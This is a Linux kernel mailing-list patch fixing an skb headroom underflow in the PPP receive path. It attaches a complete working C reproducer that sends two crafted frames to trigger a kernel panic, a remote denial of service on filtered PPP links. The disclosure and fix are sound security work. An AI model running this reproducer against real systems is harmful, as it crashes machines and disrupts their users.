Linux PPP protocol development
 help / color / mirror / Atom feed
* [PATCH] ppp: make room for the filter tag instead of assuming it
@ 2026-09-02  6:22 Vlatko Kosturjak
  2026-09-02  6:59 ` Eric Dumazet
  2026-09-02  7:59 ` Qingfang Deng
  0 siblings, 2 replies; 3+ messages in thread
From: Vlatko Kosturjak @ 2026-09-02  6:22 UTC (permalink / raw)
  To: linux-ppp, netdev
  Cc: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni

[-- Attachment #1: Type: text/plain, Size: 4211 bytes --]

ppp_receive_nonmp_frame() prepends a two-byte direction tag before running
the pass/active BPF filters:

        *(__be16 *)skb_push(skb, 2) = htons(PPP_FILTER_INBOUND_TAG);

Nothing on the receive path guarantees those two bytes of headroom, and a
peer can arrange for only one to be available. ppp_async.c contributes two
halves of the problem.

First, the frame-error path resets a reused skb's headroom to zero while
claiming to restore it to a freshly allocated state - but a fresh skb from
dev_alloc_skb() carries NET_SKB_PAD:

        err:
                if (skb) {
                        /* make skb appear as freshly allocated */
                        skb_trim(skb, 0);
                        skb_reserve(skb, - skb_headroom(skb));
                }

ap->rpkt still points at that skb, so the next frame reuses it with no
headroom at all.

Second, the headroom for a new frame is chosen from a single byte, and the
comment already notes the test is incomplete:

        if (skb->len == 0) {
                /* Try to get the payload 4-byte aligned. This should match
                 * the PPP_ALLSTATIONS/PPP_UI/compressed tests in
                 * process_input_packet, but we do not have enough chars here
                 * to test buf[1] and buf[2].
                 */
                if (buf[0] != PPP_ALLSTATIONS)
                        skb_reserve(skb, 2 + (buf[0] & 1));
        }

A frame beginning 0xff reserves nothing.

So a frame with a bad FCS zeroes the reused skb's headroom; the next frame
begins ff 03, so nothing is reserved; process_input_packet() pulls the
two-byte address/control field, giving two bytes of headroom; and
__ppp_decompress_proto() pushes one back for a PFC-compressed protocol byte,
leaving one. The filter tag then pushes two and lands a byte below skb->head:

  skbuff: skb_under_panic: len:49 put:2 head:ffff888003c10000
          data:ffff888003c0ffff tail:0x30 end:0x640 dev:<NULL>
  kernel BUG at net/core/skbuff.c:214!
  RIP: 0010:skb_panic+0x13e/0x230
  Call Trace:
   skb_push+0xbd/0x100
   ppp_receive_nonmp_frame+0x48a/0x1d10
   ppp_input+0x4e9/0x2f80
   ppp_async_process+0x2a/0xe0
   tasklet_action_common+0x20f/0x8a0
   handle_softirqs+0x18e/0x590
  Kernel panic - not syncing: Fatal exception in interrupt

Two frames from the peer are enough. It needs CONFIG_PPP_FILTER and a link
with PPPIOCSPASS or PPPIOCSACTIVE applied, which is what pppd does for
demand-dialling and for active-filter. The panic happens in softirq context,
so it takes the machine down rather than the link.

Rather than tighten the headroom bookkeeping in one transport - ppp_synctty
and any other channel driver make no such guarantee either - make room at
the site that needs it. skb_cow_head() also subsumes the skb_unclone() it
replaces.

Found by fuzzing the PPP receive path with a mutating peer on a pty;
It is interesting (remote) DoS: Root configures PPP; peer supplies two crashing
frames.

I have a working reproducer in attachment - generated with help of GenAI.
It needs root only because /dev/ppp is 0600 by default - the frames
that trigger
the panic arrive from the tty side, i.e. from the peer, so on a
configured link this
is remotely reachable.

Tested on pristine v7.2.2.

Fixes: the PPP_FILTER_INBOUND_TAG push in ppp_receive_nonmp_frame()
Signed-off-by: Vlatko Kosturjak <vlatko.kosturjak@gmail.com>

---

diff --git a/drivers/net/ppp/ppp_generic.c b/drivers/net/ppp/ppp_generic.c
index 1111111..2222222 100644
--- a/drivers/net/ppp/ppp_generic.c
+++ b/drivers/net/ppp/ppp_generic.c
@@ -2498,7 +2498,10 @@ ppp_receive_nonmp_frame(struct ppp *ppp, struct
sk_buff *skb)

 #ifdef CONFIG_PPP_FILTER
                if (ppp->pass_filter || ppp->active_filter) {
-                       if (skb_unclone(skb, GFP_ATOMIC))
+                       /* The receive path does not guarantee 2 bytes of
+                        * headroom here, so make room rather than assume it.
+                        */
+                       if (skb_cow_head(skb, 2))
                                goto err;
                        /* Check if the packet passes the pass and
active filters.
                         * See comment for PPP_FILTER_INBOUND_TAG above.

[-- Attachment #2: repro-ppp-skb.c --]
[-- Type: application/octet-stream, Size: 7672 bytes --]

/*
 * Minimal reproducer: skb_under_panic in ppp_receive_nonmp_frame().
 *
 *   skbuff: skb_under_panic: len:N put:2 head:X data:X-1 ...
 *   kernel BUG at net/core/skbuff.c:214!
 *     skb_push+0xbd
 *     ppp_receive_nonmp_frame+0x48a   (drivers/net/ppp/ppp_generic.c:2506)
 *     ppp_input
 *     ppp_async_process               (softirq)
 *
 * THE BUG
 * -------
 * Two things in drivers/net/ppp/ppp_async.c combine.
 *
 * 1. The frame-error path resets a reused skb's headroom to zero, with a
 *    comment claiming it is equivalent to a fresh allocation -- it is not, as
 *    dev_alloc_skb() leaves NET_SKB_PAD:
 *
 *        err:                                              // ppp_async.c:812
 *              if (skb) {
 *                      // make skb appear as freshly allocated
 *                      skb_trim(skb, 0);
 *                      skb_reserve(skb, - skb_headroom(skb));
 *              }
 *
 *    ap->rpkt keeps pointing at that skb, so the *next* frame reuses it with
 *    zero headroom.
 *
 * 2. The headroom for a new frame is guessed from a single byte, and the
 *    comment admits the guess is incomplete:
 *
 *        if (skb->len == 0) {                              // ppp_async.c:876
 *                // Try to get the payload 4-byte aligned. This should match
 *                // the PPP_ALLSTATIONS/PPP_UI/compressed tests in
 *                // process_input_packet, but we do not have enough chars
 *                // here to test buf[1] and buf[2].
 *                if (buf[0] != PPP_ALLSTATIONS)
 *                        skb_reserve(skb, 2 + (buf[0] & 1));
 *        }
 *
 *    When the frame starts with 0xff, nothing is reserved at all.
 *
 * So: a frame with a bad FCS zeroes the reused skb's headroom, the next frame
 * starts 0xff 0x03 so no headroom is reserved, process_input_packet() pulls
 * the 2-byte address/control (headroom 2), __ppp_decompress_proto() pushes 1
 * back for the PFC-compressed protocol byte (headroom 1), and then
 * ppp_receive_nonmp_frame() pushes 2 more for PPP_FILTER_INBOUND_TAG:
 *
 *        *(__be16 *)skb_push(skb, 2) = htons(PPP_FILTER_INBOUND_TAG);
 *
 *    -- one byte below skb->head. BUG().
 *
 * That last push only happens when a pass or active filter is installed, so
 * CONFIG_PPP_FILTER must be on and the link must have had PPPIOCSPASS or
 * PPPIOCSACTIVE applied -- which is what pppd does for demand-dialling and
 * for `active-filter`.
 *
 * BOUNDARY: setting the filter and creating the unit needs root (/dev/ppp is
 * 0600). The frames that trigger it come from the *tty* side, i.e. from the
 * peer on a real link. So this is not local privilege escalation; it is a
 * remote panic on a PPP link that has filters configured.
 *
 * Build: gcc -O1 -static -o repro-ppp-skb repro-ppp-skb.c
 * Run as root in a disposable VM. Panics within milliseconds.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <termios.h>

#define N_PPP 3

struct sock_filter_ { uint16_t code; uint8_t jt, jf; uint32_t k; };
struct sock_fprog_  { unsigned short len; struct sock_filter_ *filter; };

#define PPPIOCSFLAGS	_IOW('t', 89, int)
#define PPPIOCSPASS	_IOW('t', 71, struct sock_fprog_)
#define PPPIOCNEWUNIT	_IOWR('t', 62, int)
#define PPPIOCCONNECT	_IOW('t', 58, int)
#define PPPIOCATTCHAN	_IOW('t', 56, int)
#define PPPIOCGCHAN	_IOR('t', 55, int)

#define SC_CCP_OPEN	0x00000040
#define SC_ENABLE_IP	0x00000100

static uint16_t fcs16(uint16_t fcs, const uint8_t *p, int n)
{
	int i;

	while (n-- > 0) {
		fcs ^= *p++;
		for (i = 0; i < 8; i++)
			fcs = (uint16_t)((fcs >> 1) ^ ((fcs & 1) ? 0x8408 : 0));
	}
	return fcs;
}

/* Wrap `body` (already including address/control/protocol) as an AHDLC frame. */
static int frame(uint8_t *out, int outsz, const uint8_t *body, int bl,
		 int good_fcs)
{
	uint8_t buf[4096];
	uint16_t fcs;
	int n = 0, i;

	if (bl + 2 > (int)sizeof(buf))
		return -1;
	memcpy(buf, body, bl);
	fcs = (uint16_t)~fcs16(0xffff, buf, bl);
	if (!good_fcs)
		fcs ^= 0xbeef;			/* deliberately wrong */
	buf[bl++] = (uint8_t)fcs;
	buf[bl++] = (uint8_t)(fcs >> 8);

	out[n++] = 0x7e;
	for (i = 0; i < bl && n < outsz - 2; i++) {
		uint8_t c = buf[i];

		if (c == 0x7e || c == 0x7d || c < 0x20) {
			out[n++] = 0x7d;
			out[n++] = c ^ 0x20;
		} else {
			out[n++] = c;
		}
	}
	out[n++] = 0x7e;
	return n;
}

int main(void)
{
	struct sock_filter_ prog[1] = { { 0x06, 0, 0, 0xffff } };   /* BPF: ret 0xffff */
	struct sock_fprog_ fp = { 1, prog };
	uint8_t body[512], out[1200];
	char path[64];
	unsigned int lock = 0;
	int master, slave, ptn, unit_fd, chan_fd;
	int ldisc = N_PPP, chan, unit = -1, flags, n, i;

	master = open("/dev/ptmx", O_RDWR | O_NOCTTY | O_NONBLOCK);
	if (master < 0) { perror("ptmx"); return 1; }
	if (ioctl(master, TIOCSPTLCK, &lock) < 0) { perror("unlockpt"); return 1; }
	if (ioctl(master, TIOCGPTN, &ptn) < 0) { perror("ptn"); return 1; }
	snprintf(path, sizeof(path), "/dev/pts/%d", ptn);
	slave = open(path, O_RDWR | O_NOCTTY | O_NONBLOCK);
	if (slave < 0) { perror("pts"); return 1; }

	/* N_PPP on the slave creates a PPP channel. */
	if (ioctl(slave, TIOCSETD, &ldisc) < 0) { perror("TIOCSETD"); return 1; }
	if (ioctl(slave, PPPIOCGCHAN, &chan) < 0) { perror("GCHAN"); return 1; }

	unit_fd = open("/dev/ppp", O_RDWR);
	if (unit_fd < 0) { perror("/dev/ppp (needs root)"); return 1; }
	if (ioctl(unit_fd, PPPIOCNEWUNIT, &unit) < 0) { perror("NEWUNIT"); return 1; }

	chan_fd = open("/dev/ppp", O_RDWR);
	if (chan_fd < 0) { perror("/dev/ppp 2"); return 1; }
	if (ioctl(chan_fd, PPPIOCATTCHAN, &chan) < 0) { perror("ATTCHAN"); return 1; }
	if (ioctl(chan_fd, PPPIOCCONNECT, &unit) < 0) { perror("CONNECT"); return 1; }

	flags = SC_CCP_OPEN | SC_ENABLE_IP;
	ioctl(unit_fd, PPPIOCSFLAGS, &flags);

	/* The filter is what makes ppp_receive_nonmp_frame() push 2 bytes. */
	if (ioctl(unit_fd, PPPIOCSPASS, &fp) < 0) { perror("PPPIOCSPASS"); return 1; }

	printf("REPRO: unit=%d chan=%d, pass filter installed\n", unit, chan);
	fflush(stdout);

	/*
	 * Frame 1: bad FCS. process_input_packet() takes its err: path, which
	 * trims the skb and sets its headroom to zero -- and leaves it in
	 * ap->rpkt to be reused.
	 */
	body[0] = 0xff;
	body[1] = 0x03;
	body[2] = 0x00;
	body[3] = 0x21;			/* PPP_IP, uncompressed */
	for (i = 4; i < 32; i++)
		body[i] = (uint8_t)i;
	n = frame(out, sizeof(out), body, 32, 0 /* bad FCS */);
	if (write(master, out, n) != n) { perror("write 1"); return 1; }
	printf("REPRO: sent frame 1 (bad FCS) -- headroom of the reused skb is now 0\n");
	fflush(stdout);
	usleep(50000);

	/*
	 * Frame 2, on the skb frame 1 left behind:
	 *   starts 0xff  -> ppp_async_input() reserves nothing
	 *   0xff 0x03    -> process_input_packet() pulls 2   (headroom 2)
	 *   0x21         -> PFC-compressed PPP_IP, odd, so
	 *                   __ppp_decompress_proto() pushes 1 (headroom 1)
	 *   PPP_IP maps to a real NP index, so the filter branch runs and
	 *   pushes 2 -> one byte below skb->head -> BUG().
	 */
	body[0] = 0xff;
	body[1] = 0x03;
	body[2] = 0x21;			/* compressed protocol field, odd */
	body[3] = 0x45;			/* looks like an IPv4 header */
	body[4] = 0x00;
	body[5] = 0x00;
	body[6] = 0x28;
	for (i = 7; i < 48; i++)
		body[i] = (uint8_t)(i * 7);
	n = frame(out, sizeof(out), body, 48, 1 /* good FCS */);
	printf("REPRO: sending frame 2 (ff 03 + PFC PPP_IP) -- expect skb_under_panic\n");
	fflush(stdout);
	if (write(master, out, n) != n) { perror("write 2"); return 1; }

	usleep(200000);
	printf("REPRO: still alive -- did NOT reproduce\n");
	fflush(stdout);
	return 0;
}

^ permalink raw reply related	[flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-09-02  7:59 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-02  6:22 [PATCH] ppp: make room for the filter tag instead of assuming it Vlatko Kosturjak
2026-09-02  6:59 ` Eric Dumazet
2026-09-02  7:59 ` Qingfang Deng

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox